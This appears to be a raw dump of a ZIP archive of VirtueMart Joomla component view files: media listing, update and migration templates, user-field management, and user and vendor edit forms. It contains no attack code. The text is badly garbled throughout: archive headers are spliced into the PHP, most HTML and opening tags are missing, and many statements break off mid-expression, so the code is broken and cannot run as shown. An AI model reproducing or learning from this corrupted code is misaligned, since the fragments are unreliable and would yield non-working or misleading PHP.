JRequest::getInt('virtuemart_category_id',0); JToolBarHelper::customX('synchronizeMedia', 'new', 'new', JText::_('COM_VIRTUEMART_TOOLS_SYNC_MEDIA_FILES'),false); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,null,null,'searchMedia'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_TYPES'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT'), 'category' => JText::_('COM_VIRTUEMART_CATEGORY'), 'manufacturer' => JText::_('COM_VIRTUEMART_MANUFACTURER'), 'vendor' => JText::_('COM_VIRTUEMART_VENDOR') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options,1,'','onchange="this.form.submit();"'); $options = array( '' => JText::_('COM_VIRTUEMART_LIST_ALL_ROLES'), 'file_is_displayable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE'), 'file_is_downloadable' => JText::_('COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE'), 'file_is_forSale' => JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE'), ); $this->lists['search_role'] = VmHTML::selectList('search_role', JRequest::getVar('search_role'),$options,1,'','onchange="this.form.submit();"'); $files = $model->getFiles(false,false,$virtuemart_product_id,$cat_id); $this->assignRef('files', $files); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tagPKs>\#o,,%com_virtuemart/views/media/index.htmlnuW+APKs>\)/com_virtuemart/views/updatesmigration/.htaccessnuW+A Order allow,deny Deny from all PKs>\!?\i55=com_virtuemart/views/updatesmigration/tmpl/update_preview.phpnuW+A


        • :
        • :
        '; $class = $is_writable ? 'writable' : 'unwritable'; $msg = $is_writable ? JText::_('COM_VIRTUEMART_UPDATE_PATCH_WRITABLE') : JText::_('COM_VIRTUEMART_UPDATE_PATCH_UNWRITABLE'); echo '\n"; } ?>
        '.$file.''.$msg."
        ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_QUERYTOEXEC') . ':'; echo ''; foreach($packageContents['queryArr'] as $query) { echo '
        '.$query. "
        "; } echo ''; } if( $valid ) { echo '


        '; } else { echo '
        ' . JText::_('COM_VIRTUEMART_UPDATE_PATCH_ERR_UNWRITABLE').'
        '; } $formObj->finishForm('applypatchpackage', 'admin.update_result'); ?>
        PKs>\1l:com_virtuemart/views/updatesmigration/tmpl/insfinished.phpnuW+Aload('com_virtuemart.sys',JPATH_ADMINISTRATOR,'en_GB',true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,'en_GB',true); //load specific language $lang->load('com_virtuemart.sys',JPATH_ADMINISTRATOR,null,true); $lang->load('com_virtuemart',JPATH_ADMINISTRATOR,null,true);*/ $update = vRequest::getInt('update',0); $option = vRequest::getString('option'); if($option=='com_virtuemart'){ if (!class_exists('AdminUIHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'adminui.php'); if (!class_exists('JToolBarHelper')) require(JPATH_ADMINISTRATOR.DS.'includes'.DS.'toolbar.php'); AdminUIHelper::startAdminArea($this); } ?>
        Cart

        '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } else { echo vmText::_('COM_VIRTUEMART_INSTALLATION_SUCCESSFUL'); echo '
        '.vmText::_('COM_VIRTUEMART_EXTENSION_UPGRADE_REMIND'); } ?>


        setQuery($q); $productsExists = $db->loadResult(); if(!$productsExists){ ?>
        PKs>\k6com_virtuemart/views/updatesmigration/tmpl/default.phpnuW+A 'COM_VIRTUEMART_UPDATE_TOOLS_TAB', 'migrator' => 'COM_VIRTUEMART_MIGRATION_TAB' ) ); AdminUIHelper::endAdminArea(); PKs>\6com_virtuemart/views/updatesmigration/tmpl/install.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
        PKs>\R{G<com_virtuemart/views/updatesmigration/tmpl/default_tools.phpnuW+Aroot() . 'administrator/index.php?option=com_virtuemart&view=config'; ?>
        PKs>\5com_virtuemart/views/updatesmigration/tmpl/index.htmlnuW+APKs>\)4com_virtuemart/views/updatesmigration/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\g?com_virtuemart/views/updatesmigration/tmpl/default_migrator.phpnuW+A
        get('reWriteOrderNumber', 1, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRATION_USER_ORDER_ID','userOrderId',$session->get('userOrderId', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_SGRP_PRICES','userSgrpPrices',$session->get('userSgrpPrices', 0, 'vm')); echo VmHTML::row('checkbox','COM_VIRTUEMART_MIGRA_PORTFLY','portFlypages',$session->get('portFlypages', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_BROWSE','migration_default_category_browse',$session->get('migration_default_category_browse', 0, 'vm')); echo VmHTML::row('input','COM_VIRTUEMART_MIGRATION_DCAT_FLY','migration_default_category_fly',$session->get('migration_default_category_fly', 0, 'vm')); ?>

        '; @ini_set( 'max_execution_time', $max_execution_time+1 ); $new_max_execution_time = ini_get('max_execution_time'); if($max_execution_time===$new_max_execution_time){ echo 'Server settings do not allow changes of your max_execution_time in the php.ini file, you may get problems migrating a big shop'; } else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MAX_EXECUTION_TIME').''; } @ini_set( 'max_execution_time', $max_execution_time ); echo '
        '; $memory_limit = ini_get('memory_limit'); echo 'memory_limit '.$memory_limit; echo '
        '; if($memory_limit!=='128MB'){ // @ini_set( 'memory_limit', '128MB' ); // $new_memory_limit = ini_get('memory_limit'); // if($memory_limit===$new_memory_limit){ // echo 'Server settings do not allow changes of your memory_limit in the php.ini file, you may get problems migrating a big shop'; // }else { echo JText::_('COM_VIRTUEMART_UPDATE_MIGRATION_CHANGE_MEMORY_LIMIT').''; // } // @ini_set( 'max_execution_time', $memory_limit ); } ?>
        JText::_('COM_VIRTUEMART_UPDATE_GENERAL'), 'migrateUsersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_USERS'), 'migrateProductsFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_PRODUCTS'), 'migrateOrdersFromVmOne' => JText::_('COM_VIRTUEMART_UPDATE_ORDERS'), 'migrateAllInOne' => JText::_('COM_VIRTUEMART_UPDATE_ALL'), 'portVmAttributes' => JText::_('COM_VIRTUEMART_UPDATE_ATTR').'
        '.JText::_('COM_VIRTUEMART_UPDATE_ATTR_2'), 'portVmRelatedProducts' => JText::_('COM_VIRTUEMART_UPDATE_REL'), // 'setStoreOwner' => JText::_('COM_VIRTUEMART_SETSTOREOWNER') ); echo VmHTML::radioList('task', $session->get('migration_task', 'migrateAllInOne', 'vm'), $options); ?>

        */ ?>PKs>\/ =com_virtuemart/views/updatesmigration/tmpl/default_update.phpnuW+A

        latestVersion) { echo "

        " . $this->latestVersion . "

        "; } else {?>  [] latestVersion) { if (version_compare($this->latestVersion, VmConfig::getInstalledVersion(), '>') == 1) { ?>
        PKs>\hQQ3com_virtuemart/views/updatesmigration/view.html.phpnuW+AassignRef('checkbutton_style', $checkbutton_style); $this->assignRef('downloadbutton_style', $downloadbutton_style); $this->assignRef('latestVersion', $latestVersion); $freshInstall = JRequest::getInt('install',0); if($freshInstall){ $this->setLayout('install'); } parent::display($tpl); } } // pure php no closing tag PKs>\0com_virtuemart/views/updatesmigration/index.htmlnuW+APKs>\))com_virtuemart/views/userfields/.htaccessnuW+A Order allow,deny Deny from all PKs>\*com_virtuemart/views/userfields/index.htmlnuW+APKs>\33-com_virtuemart/views/userfields/view.html.phpnuW+AgetCoreFields(); if ($layoutName == 'edit') { $editor = JFactory::getEditor(); $userField = $model->getUserfield(); $this->SetViewTitle('USERFIELD',$userField->name ); $this->assignRef('viewName',$viewName); $userFieldPlugin = ''; if ($userField->virtuemart_userfield_id < 1) { // Insert new userfield $this->assignRef('ordering', JText::_('COM_VIRTUEMART_NEW_ITEMS_PLACE')); $userFieldValues = array(); $attribs = ''; $lists['type'] = JHTML::_('select.genericlist', $this->_getTypes(), 'type', $attribs, 'type', 'text', $userField->type); } else { // Update existing userfield // Ordering dropdown $qry = 'SELECT ordering AS value, name AS text' . ' FROM #__virtuemart_userfields' . ' ORDER BY ordering'; $ordering = JHTML::_('list.specificordering', $userField, $userField->virtuemart_userfield_id, $qry); $this->assignRef('ordering', $ordering); $userFieldValues = $model->getUserfieldValues(); $lists['type'] = $this->_getTypes($userField->type) . ''; if (strpos($userField->type, 'plugin') !==false) $userFieldPlugin = self::renderUserfieldPlugin(substr($userField->type, 6),$userField); } $this->assignRef('userFieldPlugin', $userFieldPlugin); JToolBarHelper::divider(); JToolBarHelper::save(); JToolBarHelper::apply(); JToolBarHelper::cancel(); $notoggle = (in_array($userField->name, $lists['coreFields']) ? 'class="readonly"' : ''); // Vendor selection if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors']= ShopFunctions::renderVendorList($userField->virtuemart_vendor_id); } // Shopper groups for EU VAT Id $shoppergroup_model = VmModel::getModel('shoppergroup'); $shoppergroup_list = $shoppergroup_model->getShopperGroups(true); array_unshift($shoppergroup_list,'0'); $lists['shoppergroups'] = JHTML::_('select.genericlist', $shoppergroup_list, 'virtuemart_shoppergroup_id', '', 'virtuemart_shoppergroup_id', 'shopper_group_name', $model->_params->get('virtuemart_shoppergroup_id')); // Minimum age select $ages = array(); for ($i = 13; $i <= 25; $i++) { $ages[] = array('key' => $i, 'value' => $i.' '.JText::_('COM_VIRTUEMART_YEAR_S')); } $lists['minimum_age'] = JHTML::_('select.genericlist', $ages, 'minimum_age', '', 'key', 'value', $model->_params->get('minimum_age', 18)); // Web address types $webaddress_types = array( array('key' => 0, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_URL_ONLY')) ,array('key' => 2, 'value' => JText::_('COM_VIRTUEMART_USERFIELDS_HYPERTEXT_URL')) ); $lists['webaddresstypes'] = JHTML::_('select.genericlist', $webaddress_types, 'webaddresstype', '', 'key', 'value', $model->_params->get('webaddresstype')); // Userfield values if (($n = count($userFieldValues)) < 1) { $lists['userfield_values'] = '' .'' .'' .''; $i = 1; } else { $lists['userfield_values'] = ''; $lang =JFactory::getLanguage(); for ($i = 0; $i < $n; $i++) { $translate= $lang->hasKey($userFieldValues[$i]->fieldtitle) ? " (".JText::_($userFieldValues[$i]->fieldtitle).")" : ""; $lists['userfield_values'] .= '' .'' .''.$translate.'' .''; } } $this->assignRef('valueCount', --$i); // Toggles $lists['required'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_REQUIRED','required',$userField->required,$notoggle); $lists['published'] = VmHTML::row('booleanlist','COM_VIRTUEMART_PUBLISHED','published',$userField->published,$notoggle); $lists['registration'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_REGISTRATION','registration',$userField->registration,$notoggle); $lists['shipment'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_SHIPPING','shipment',$userField->shipment,$notoggle); $lists['account'] = VmHTML::row('booleanlist','COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_ACCOUNT','account',$userField->account,$notoggle); $lists['readonly'] = VmHTML::row('booleanlist','COM_VIRTUEMART_USERFIELDS_READONLY','readonly',$userField->readonly,$notoggle); $this->assignRef('lists', $lists); $this->assignRef('userField', $userField); $this->assignRef('userFieldValues', $userFieldValues); $this->assignRef('editor', $editor); } else { JToolBarHelper::title( JText::_('COM_VIRTUEMART_MANAGE_USER_FIELDS'),'vm_user_48 head'); JToolBarHelper::addNewX(); JToolBarHelper::editListX(); JToolBarHelper::divider(); JToolBarHelper::custom('toggle.required.1', 'publish','','COM_VIRTUEMART_FIELDMANAGER_REQUIRE'); JToolBarHelper::custom('toggle.required.0', 'unpublish','','COM_VIRTUEMART_FIELDMANAGER_UNREQUIRE'); JToolBarHelper::publishList(); JToolBarHelper::unpublishList(); JToolBarHelper::divider(); $barText = JText::_('COM_VIRTUEMART_FIELDMANAGER_SHOW_HIDE'); $bar= JToolBar::getInstance( 'toolbar' ); $bar->appendButton( 'Separator', '">'.$barText.'
        ' .$retImgSrc. ''); } } /** * Create an array with userfield types and the visible text in the format expected by the Joomla select class * * @param string $value If not null, the type of which the text should be returned * @return mixed array or string */ function _getTypes ($value = null) { $types = array( array('type' => 'text' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTFIELD')) ,array('type' => 'checkbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_SINGLE')) ,array('type' => 'multicheckbox' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_CHECKBOX_MULTIPLE')) ,array('type' => 'date' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DATE')) ,array('type' => 'age_verification' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_AGEVERIFICATION')) ,array('type' => 'select' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_SINGLE')) ,array('type' => 'multiselect' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DROPDOWN_MULTIPLE')) ,array('type' => 'emailaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EMAIL')) // ,array('type' => 'euvatid' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EUVATID')) ,array('type' => 'editorta' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_EDITORAREA')) ,array('type' => 'textarea' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_TEXTAREA')) ,array('type' => 'radio' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_RADIOBUTTON')) ,array('type' => 'webaddress' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_WEBADDRESS')) ,array('type' => 'delimiter' , 'text' => JText::_('COM_VIRTUEMART_FIELDS_DELIMITER')) ); $this->renderInstalledUserfieldPlugins($types); if ($value === null) { return $types; } else { foreach ($types as $type) { if ($type['type'] == $value) { return $type['text']; } return $value; } } } function renderUserfieldPlugin($element, $params){ $db = JFactory::getDBO(); if (JVM_VERSION===1) { $table = '#__plugins'; $jelement = 'element'; } else { $table = '#__extensions'; $jelement = 'element'; } $q = 'SELECT `params`,`element` FROM `' . $table . '` WHERE `' . $jelement . '` = "'.$element.'"'; $db ->setQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($params, $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; $lang->load($filename, JPATH_ADMINISTRATOR); return $parameters->render(); } function renderInstalledUserfieldPlugins(&$plugins){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmuserfield" AND `'.$enable.'`="1" '; $db->setQuery($q); $userfieldplugins = $db->loadAssocList($ext_id); if(empty($userfieldplugins)){ return; } foreach($userfieldplugins as $userfieldplugin){ $plugins[] = array('type' => 'plugin'.$userfieldplugin['element'], 'text' => $userfieldplugin['name']); } return; } } //No Closing Tag PKs>\&&-com_virtuemart/views/userfields/tmpl/edit.phpnuW+AuserField',$this->userField); ?>
        lists['type'] ); ?> userField->description,'100%','300', array('image','pagebreak', 'readmore') ); ?> userField->default,'class="inputbox"','',5); ?> lists['required']; ?> lists['registration']; ?> lists['account']; ?> lists['shipment']; ?> lists['readonly']; ?> lists['published']; ?> userField->size,'class="inputbox"','',5); ?> userField->ordering,'class="inputbox"','',5); ?> lists['vendors'] ); } ?>
        userField->maxlength,'class="inputbox"','',5); ?>
        userField->cols,'class="inputbox"','',5); ?> userField->rows,'class="inputbox"','',5); ?>
        lists['minimum_age'] ); ?>
        lists['webaddresstypes'] ); ?>
        lists['userfield_values'];?>
        userFieldPlugin; ?>
        userField->sys ? 'readonly="readonly"' : ''); $readonly=$this->userField->sys ? 'readonly' : '' ?> class="validate[required,funcCall[checkName]] inputbox " />
        hasKey($this->userField->title) ? JText::_($this->userField->title) : $this->userField->title; ?> ()
        addStandardHiddenToForm(); ?>
        setQuery("SHOW COLUMNS FROM `#__virtuemart_userfields`"); $existingFields = '"'.implode('","',$db->loadResultArray()).'"'; ?> PKs>\).com_virtuemart/views/userfields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\/com_virtuemart/views/userfields/tmpl/index.htmlnuW+APKs>\0com_virtuemart/views/userfields/tmpl/default.phpnuW+A
        userfieldsList); $i < $n; $i++) { $row = $this->userfieldsList[$i]; // vmdebug('my rows',$row); $coreField = (in_array($row->name, $this->lists['coreFields'])); $image = (JVM_VERSION===1) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_FIELDMANAGER_COREFIELD')); //$checked = '
        '.JHTML::_('grid.id', $i, null,$row->virtuemart_userfield_id); $checked = JHTML::_('grid.id', $i ,$row->virtuemart_userfield_id,null,'virtuemart_userfield_id'); if ($coreField) $checked.=''. $image .''; $checked .= '
        '; // There is no reason not to allow moving of the core fields. We only need to disable deletion of them // ($coreField) ? // ''. $image .'' : $editlink = JROUTE::_('index.php?option=com_virtuemart&view=userfields&task=edit&virtuemart_userfield_id=' . $row->virtuemart_userfield_id); $required = $this->toggle($row->required, $i, 'toggle.required', $coreField); // $published = JHTML::_('grid.published', $row, $i); $published = $this->toggle($row->published, $i, 'toggle.published', $coreField); $registration = $this->toggle($row->registration, $i, 'toggle.registration', $coreField); $shipment = $this->toggle($row->shipment, $i, 'toggle.shipment', $coreField); $account = $this->toggle($row->account, $i, 'toggle.account', $coreField); $ordering = ($this->lists['filter_order'] == 'ordering'); $disabled = ($ordering ? '' : 'disabled="disabled"'); ?>
        sort('name','COM_VIRTUEMART_FIELDMANAGER_NAME') ?> sort('type','COM_VIRTUEMART_FIELDMANAGER_TYPE') ?> sort('ordering','COM_VIRTUEMART_FIELDMANAGER_REORDER') ?> userfieldsList ); ?> sort('virtuemart_userfield_id', 'COM_VIRTUEMART_ID') ?>
        name); ?> title); ?> type); ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $ordering ); ?> pagination->orderDownIcon( $i, $n, true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $ordering ); ?> class="text_area" style="text-align: center" /> virtuemart_userfield_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PKs>\y-com_virtuemart/views/userfields/view.json.phpnuW+AsetQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin , $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; if(VmConfig::get('enableEnglish', 1)){ $lang->load($filename, JPATH_ADMINISTRATOR, 'en-GB', true); } $lang->load($filename, JPATH_ADMINISTRATOR, $lang->getDefault(), true); $lang->load($filename, JPATH_ADMINISTRATOR, null, true); echo $parameters->render(); //echo ''; jExit(); } } jExit(); } } // pure php no closing tag PKs>\#o,,com_virtuemart/views/index.htmlnuW+APKs>\)#com_virtuemart/views/user/.htaccessnuW+A Order allow,deny Deny from all PKs>\$com_virtuemart/views/user/index.htmlnuW+APKs>\-6.com_virtuemart/views/user/tmpl/edit_vendor.phpnuW+A langList; ?>
        :
        :
        :
        :
        : currencies, 'vendor_currency', '', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_currency); ?>
        : currencies, 'vendor_accepted_currencies[]', 'size=10 multiple="multiple"', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_accepted_currencies); ?>
        vendor->images[0]->displayFilesHandler($this->vendor->virtuemart_media_id,'vendor'); ?>
        editor->display('vendor_store_desc', $this->vendor->vendor_store_desc, '100%', 450, 70, 15)?>
        editor->display('vendor_terms_of_service', $this->vendor->vendor_terms_of_service, '100%', 450, 70, 15)?>
        editor->display('vendor_legal_info', $this->vendor->vendor_legal_info, '100%', 400, 70, 15)?>
        PKs>\w·  *com_virtuemart/views/user/tmpl/default.phpnuW+A
        userList); $i < $n; $i++) { $row = $this->userList[$i]; $checked = JHTML::_('grid.id', $i, $row->id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $row->id); $is_vendor = $this->toggle($row->is_vendor, $i, 'toggle.user_is_vendor'); ?>
        sort('ju.username', 'COM_VIRTUEMART_USERNAME') ?> sort('ju.name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME') ?> sort('shopper_group_name', 'COM_VIRTUEMART_SHOPPERGROUP') ?>
        username; ?> name; ?> email; ?> perm->getPermissions($row->id); // if(empty($row->perms)) $row->perms = 'shopper'; // echo $row->perms . ' / (' . $row->usertype . ')'; ?> shopper_group_name)) $row->shopper_group_name = $this->defaultShopperGroup; echo $row->shopper_group_name; ?> id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PKs>\)com_virtuemart/views/user/tmpl/index.htmlnuW+APKs>\پ224com_virtuemart/views/user/tmpl/edit_vendorletter.phpnuW+A

        JText::_('COM_VIRTUEMART_VENDOR_LETTER_A4'), 'Letter'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_LETTER')), $default=$this->vendor->vendor_letter_format, $attrib='', 'value', 'text', $zero=false); ?> JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT'), 'L'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE')), $default=$this->vendor->vendor_letter_orientation, $attrib='', 'value', 'text', $zero=false); ?> vendor->vendor_letter_add_tos); ?> vendor->vendor_letter_add_tos_newpage); ?>
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        pdfFonts, 'vendor_letter_font', 'size', 'value', 'text', $this->vendor->vendor_letter_font); // echo JHTML::link('http://dev.virtuemart.net/','Get More Fonts!','target="_blank"'); ?>
        : pt
        : pt
        : pt
        :
        vendor->vendor_letter_header); ?> :
        vendor->vendor_letter_header_line); ?> :
        vendor->vendor_letter_header_image); ?> :
        editor->display('vendor_letter_header_html', $this->vendor->vendor_letter_header_html, '100%', 200, 70, 15)?>

        vendor->vendor_letter_footer); ?> :
        vendor->vendor_letter_footer_line); ?> :
        editor->display('vendor_letter_footer_html', $this->vendor->vendor_letter_footer_html, '100%', 200, 70, 15)?>

        PKs>\U]1com_virtuemart/views/user/tmpl/edit_orderlist.phpnuW+A
        orderlist as $i => $row) { $editlink = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $row->order_number); ?> ">
        order_number; ?> created_on); ?> modified_on); ?> order_status); ?> currency->priceDisplay($row->order_total); ?>
        PKs>\0)/com_virtuemart/views/user/tmpl/edit_shopper.phpnuW+A userDetails->user_is_vendor){ ?>
         
        userDetails->virtuemart_user_id!=0) { echo $this->loadTemplate('vmshopper'); } ?> loadTemplate('address_userfields'); ?> userDetails->JUser->get('id') ) { echo $this->loadTemplate('address_addshipto'); } ?> virtuemart_userinfo_id)){ echo ''; } ?> PKs>\)(com_virtuemart/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\5 .com_virtuemart/views/user/tmpl/edit_shipto.phpnuW+A
        shipToFields); if (count($this->shipToFields['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->shipToFields['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->shipToFields['fields']); } else { $_field = next($this->shipToFields['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
        '."\n"; } $_set = true; echo '
        '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
        '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
        '."\n"; } if ($_set) { echo '
        '."\n"; } echo $_hiddenFields; if(!empty($this->virtuemart_userinfo_id)){ echo ''; } ?> PKs>\TD]'com_virtuemart/views/user/tmpl/edit.phpnuW+A

        page_title ?>

        userDetails->virtuemart_user_id==0) { echo JText::_('COM_VIRTUEMART_YOUR_ACCOUNT_REG'); }?>

        userDetails->user_is_vendor){ ?>
         
        userDetails->virtuemart_user_id!=0) { $tabarray = array(); if($this->userDetails->user_is_vendor){ if(!empty($this->add_product_link)) { echo $this->add_product_link; } $tabarray['vendor'] = 'COM_VIRTUEMART_VENDOR'; } $tabarray['shopper'] = 'COM_VIRTUEMART_SHOPPER_FORM_LBL'; //$tabarray['user'] = 'COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO'; if (!empty($this->shipto)) { $tabarray['shipto'] = 'COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'; } if (($_ordcnt = count($this->orderlist)) > 0) { $tabarray['orderlist'] = 'COM_VIRTUEMART_YOUR_ORDERS'; } shopFunctionsF::buildTabs ( $this, $tabarray); } else { echo $this->loadTemplate ( 'shopper' ); } /* * TODO this Stuff should be converted in a payment module. But the idea to show already saved payment information to the user is a good one * So maybe we should place here a method (joomla plugin hook) which loads all published plugins, which already used by the user and display * them. */ // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_SHOPPER_PAYMENT_FORM_LBL'), 'edit_payment' ); // echo $this->loadTemplate('payment'); // echo $this->pane->endPanel(); // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_SHOPPER_SHIPMENT_FORM_LBL'), 'edit_shipto' ); // echo $this->loadTemplate('shipto'); // echo $this->pane->endPanel(); // if ($this->shipto !== 0) { // // Note: // // Of the order of the tabs change here, change the startOffset value for // // JPane::getInstance() as well in view.html.php! // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'), 'edit_shipto' ); // echo $this->loadTemplate('shipto'); // echo $this->pane->endPanel(); // } // if (($_ordcnt = count($this->orderlist)) > 0) { // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_ORDER_LIST_LBL') . ' (' . $_ordcnt . ')', 'edit_orderlist' ); // echo $this->loadTemplate('orderlist'); // echo $this->pane->endPanel(); // } // if (!empty($this->userDetails->user_is_vendor)) { // echo $this->pane->startPanel( JText::_('COM_VIRTUEMART_VENDOR_MOD'), 'edit_vendor' ); // echo $this->loadTemplate('vendor'); // echo $this->pane->endPanel(); // } // echo $this->pane->endPane(); // captcha addition if(VmConfig::get ('reg_captcha')){ JHTML::_('behavior.framework'); JPluginHelper::importPlugin('captcha'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onInit','dynamic_recaptcha_1'); ?>
        PKs>\Z=Z='com_virtuemart/views/user/view.html.phpnuW+AassignRef('useSSL', $useSSL); $this->assignRef('useXHTML', $useXHTML); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $layoutName = $this->getLayout(); // vmdebug('layout by view '.$layoutName); if (empty($layoutName) or $layoutName == 'default') { $layoutName = JRequest::getWord('layout', 'edit'); if ($layoutName == 'default'){ $layoutName = 'edit'; } $this->setLayout($layoutName); } if (empty($this->fTask)) { $ftask = 'saveUser'; $this->assignRef('fTask', $ftask); } if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); // vmdebug('my layoutname',$layoutName); if ($layoutName == 'login') { parent::display($tpl); return; } if (!class_exists('VirtuemartModelUser')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'user.php'); $this->_model = new VirtuemartModelUser(); // $this->_model->setCurrent(); //without this, the administrator can edit users in the FE, permission is handled in the usermodel, but maybe unsecure? $editor = JFactory::getEditor(); //the cuid is the id of the current user $this->_currentUser = JFactory::getUser(); $this->_cuid = $this->_lists['current_id'] = $this->_currentUser->get('id'); $this->assignRef('userId', $this->_cuid); $this->_userDetails = $this->_model->getUser(); $this->assignRef('userDetails', $this->_userDetails); $address_type = JRequest::getWord('addrtype', 'BT'); $this->assignRef('address_type', $address_type); $new = false; if (JRequest::getInt('new', '0') == 1) { $new = true; } if ($new) { $virtuemart_userinfo_id = 0; } else { $virtuemart_userinfo_id = JRequest::getString('virtuemart_userinfo_id', '0', ''); } $this->assignRef('virtuemart_userinfo_id', $virtuemart_userinfo_id); $userFields = null; if ((strpos($this->fTask, 'cart') || strpos($this->fTask, 'checkout')) && empty($virtuemart_userinfo_id)) { //New Address is filled here with the data of the cart (we are in the cart) if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $fieldtype = $address_type . 'address'; $cart->prepareAddressDataInCart($address_type, $new, $this->_cuid); $userFields = $cart->$fieldtype; $task = JRequest::getWord('task', ''); } else { $userFields = $this->_model->getUserInfoInUserFields($layoutName, $address_type, $virtuemart_userinfo_id); if (!$new && empty($userFields[$virtuemart_userinfo_id])) { $virtuemart_userinfo_id = $this->_model->getBTuserinfo_id(); // vmdebug('Try to get $virtuemart_userinfo_id by type BT', $virtuemart_userinfo_id); } 